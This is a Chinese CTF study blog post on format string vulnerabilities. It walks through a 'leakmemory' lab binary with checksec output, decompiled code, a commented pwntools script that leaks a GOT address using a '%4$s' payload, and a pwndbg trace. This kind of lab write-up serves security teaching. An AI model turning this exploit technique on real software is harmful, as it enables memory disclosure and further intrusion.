PWN | 对CTF WIKI的复现+再学习 (第九期)

格式化字符串(上--低阶)

利用原理


leakmemory

1.IDA+checksec
cpp 复制代码
$ checksec leakmemory
[*] '/home/Debug/Desktop/leakmemory/leakmemory'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)


int __cdecl main(int argc, const char **argv, const char **envp)
{
  char format[100]; // [esp+0h] [ebp-78h] BYREF
  int v5; // [esp+64h] [ebp-14h]
  int a; // [esp+68h] [ebp-10h]
  int v7; // [esp+6Ch] [ebp-Ch]

  v7 = 1;
  a = 572662306;
  v5 = -1;
  read(&unk_8048560, format);
  printf("%08x.%08x.%08x.%s\n", v7, a, v5, format);
  printf(format);
  return 0;
}
2.格式化字符串利用

我们首先按照传统方法计算偏移量

可以看到偏移量为4

3.利用思路

首先是泄漏函数地址

cpp 复制代码
# 导入pwntools库,这是CTF中PWN方向最常用的工具库,提供了进程交互、二进制分析、数据打包等功能
from pwn import *

# 创建一个本地进程,运行当前目录下的leakmemory可执行文件
# sh 是与目标程序交互的句柄,可以通过它发送数据、接收输出
sh = process('./leakmemory')

# 解析leakmemory二进制文件,获取其ELF结构信息(如GOT表、PLT表、函数地址等)
leakmemory = ELF('./leakmemory')

# 从GOT表中获取__isoc99_scanf函数的全局偏移表项地址
# GOT(Global Offset Table)是用来存储函数实际地址的表,程序运行时会动态解析填充
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']

# 以16进制形式打印__isoc99_scanf的GOT地址,方便调试查看
print(hex(__isoc99_scanf_got))

# 构造格式化字符串漏洞的payload:
# 1. p32(__isoc99_scanf_got):将GOT地址打包成32位小端序的字节流(针对32位程序)
# 2. %4$s:格式化字符串,%s表示读取字符串,4表示取栈上第4个参数的地址,读取该地址指向的内容
# 整体逻辑:将GOT地址放到栈上,通过%4$s读取该地址指向的scanf函数实际内存地址(即libc中的scanf地址)
payload = p32(__isoc99_scanf_got) + '%4$s'

# 附加GDB调试器到目标进程,方便调试漏洞利用过程
gdb.attach(sh)

# 向目标程序发送构造好的payload(发送一行,自动加换行符)
sh.sendline(payload)

# 接收输出直到'%4$s\n'这个字符串位置,过滤掉无关输出
sh.recvuntil('%4$s\n')

# 读取泄露出来的scanf函数实际地址(原代码中rec未定义,这里补全)
rec = u32(sh.recv(4))  # 32位程序读取4字节,并用u32解析为整数

# 以16进制打印泄露的地址,用于后续计算libc基址
print(hex(rec))

# 进入交互模式,接管目标程序的输入输出,方便执行后续操作(如getshell)
sh.interactive()

泄漏完地址后就是按照ret2libc或者直接LibcSearcher的方式来进行利用

4.调试过程
cpp 复制代码
pwndbg> 
0xf7d733fb	533	in fileops.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────
 EAX  0x9
 EBX  0xf7ed6880 (_IO_file_jumps) ◂--- 0x0
 ECX  0x84ad160 ---▸ 0x804a014 (_GLOBAL_OFFSET_TABLE_+20) ---▸ 0xf7d63e00 (__isoc99_scanf) ◂--- push   ebp
 EDX  0x1000
 EDI  0xf7ed8000 (_GLOBAL_OFFSET_TABLE_) ◂--- 0x1d7d8c
 ESI  0xf7ed85c0 (_IO_2_1_stdin_) ◂--- 0xfbad2088
 EBP  0xffe33b08 ---▸ 0xffe34158 ---▸ 0xffe34198 ---▸ 0xffe34228 ◂--- 0x0
*ESP  0xffe33ae0 ---▸ 0xf7d13e7d ◂--- insb   byte ptr es:[edi], dx /* 'ld-linux.so.2' */
*EIP  0xf7d733fb (_IO_file_underflow+331) ◂--- test   eax, eax
─────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────
   0xf7de6e6e <read+46>                   add    esp, 0x14
   0xf7de6e71 <read+49>                   pop    ebx
   0xf7de6e72 <read+50>                   pop    esi
   0xf7de6e73 <read+51>                   ret    
    ↓
   0xf7d733f8 <_IO_file_underflow+328>    add    esp, 0x10
 ► 0xf7d733fb <_IO_file_underflow+331>    test   eax, eax
    ↓
   0xf7d733ff <_IO_file_underflow+335>    mov    ebx, dword ptr [esi + 0x50]
   0xf7d73402 <_IO_file_underflow+338>    mov    ecx, dword ptr [esi + 0x4c]
   0xf7d73405 <_IO_file_underflow+341>    add    dword ptr [esi + 8], eax
   0xf7d73408 <_IO_file_underflow+344>    mov    edx, ebx
   0xf7d7340a <_IO_file_underflow+346>    and    edx, ecx
─────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000│ esp  0xffe33ae0 ---▸ 0xf7d13e7d ◂--- insb   byte ptr es:[edi], dx /* 'ld-linux.so.2' */
01:0004│      0xffe33ae4 ◂--- 0x7d4
02:0008│      0xffe33ae8 ---▸ 0xf7ed6220 (_IO_helper_jumps) ◂--- 0x0
03:000c│      0xffe33aec ---▸ 0xf7edba20 ◂--- 0x0
04:0010│      0xffe33af0 ◂--- 0x3
05:0014│      0xffe33af4 ---▸ 0xf7f29000 (_GLOBAL_OFFSET_TABLE_) ◂--- 0x26f34
06:0018│      0xffe33af8 ---▸ 0xf7d732bb (_IO_file_underflow+11) ◂--- add    edi, 0x164d45
07:001c│      0xffe33afc ---▸ 0xf7ed85c0 (_IO_2_1_stdin_) ◂--- 0xfbad2088
───────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────
 ► f 0 f7d733fb _IO_file_underflow+331
   f 1 f7d7451b _IO_default_uflow+59
   f 2 f7d57e31 _IO_vfscanf+4033
   f 3 f7d63e7d __isoc99_scanf+125
   f 4  80484a2 main+55
   f 5 f7d18fa1 __libc_start_main+241
────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> tele 0xf7d63e00
00:0000│   0xf7d63e00 (__isoc99_scanf) ◂--- push   ebp
01:0004│   0xf7d63e04 (__isoc99_scanf+4) ◂--- push   esi
02:0008│   0xf7d63e08 (__isoc99_scanf+8) ◂--- or     eax, 0xf6c78100 /* '\r' */
03:000c│   0xf7d63e0c (__isoc99_scanf+12) ◂--- test   byte ptr [ecx + 0x17], 0
04:0010│   0xf7d63e10 (__isoc99_scanf+16) ◂--- push   ebx
05:0014│   0xf7d63e14 (__isoc99_scanf+20) ◂--- mov    eax, dword ptr [edi - 0x18]
06:0018│   0xf7d63e18 (__isoc99_scanf+24) ◂--- 0x308bffff
07:001c│   0xf7d63e1c (__isoc99_scanf+28) ◂--- mov    dword ptr [ebp - 0x1c], eax

输出的时候就会直接输出原__isoc99_scanf的got地址(这里我出了点问题,没能把那个对应的真实地址输出出来,但是我在调试的时候是可以看到对应地址的)


本人实力尚弱,在一些长难题面前会多停一会儿,因此在我的Blog中可能不会出现一些盲打(blind)的题目,但是各位在下面实操时,可以选择一些具有典型性和稍微有些难度的题目进行沉淀练习,愿大家进步不停,不停进步💪

相关推荐
Chockmans1 小时前
春秋云境CVE-2020-19957
web安全·网络安全·春秋云境·cve-2020-19957
Hello_Embed1 小时前
Modbus 传感器开发:从寄存器规划到点表设计
笔记·stm32·单片机·学习·modbus
Skrrapper1 小时前
【计算机网络】ep2:数据链路层概述
服务器·网络·计算机网络
今儿敲了吗1 小时前
24| 字符串
数据结构·c++·笔记·学习·算法
烤麻辣烫2 小时前
正则表达式快速掌握
前端·javascript·学习·正则表达式·html
Jerry_Gao9212 小时前
【CTF】【ez-inject】通过协议层Length字段的溢出进行注入
网络安全·ctf
ShiMetaPi3 小时前
GM-3568JHF丨ARM+FPGA异构开发板应用开发教程:10 以太网测试案例
网络·arm开发·fpga开发·rk3568
我命由我123453 小时前
C++ EasyX 开发,MessageBox 函数参数问题:“const char *“ 类型的实参与 “LPCWSTR“ 类型的形参不兼容
c语言·开发语言·c++·后端·学习·visualstudio·visual studio
带你看月亮3 小时前
Vue3解析学习 - handlers 模块
vue.js·学习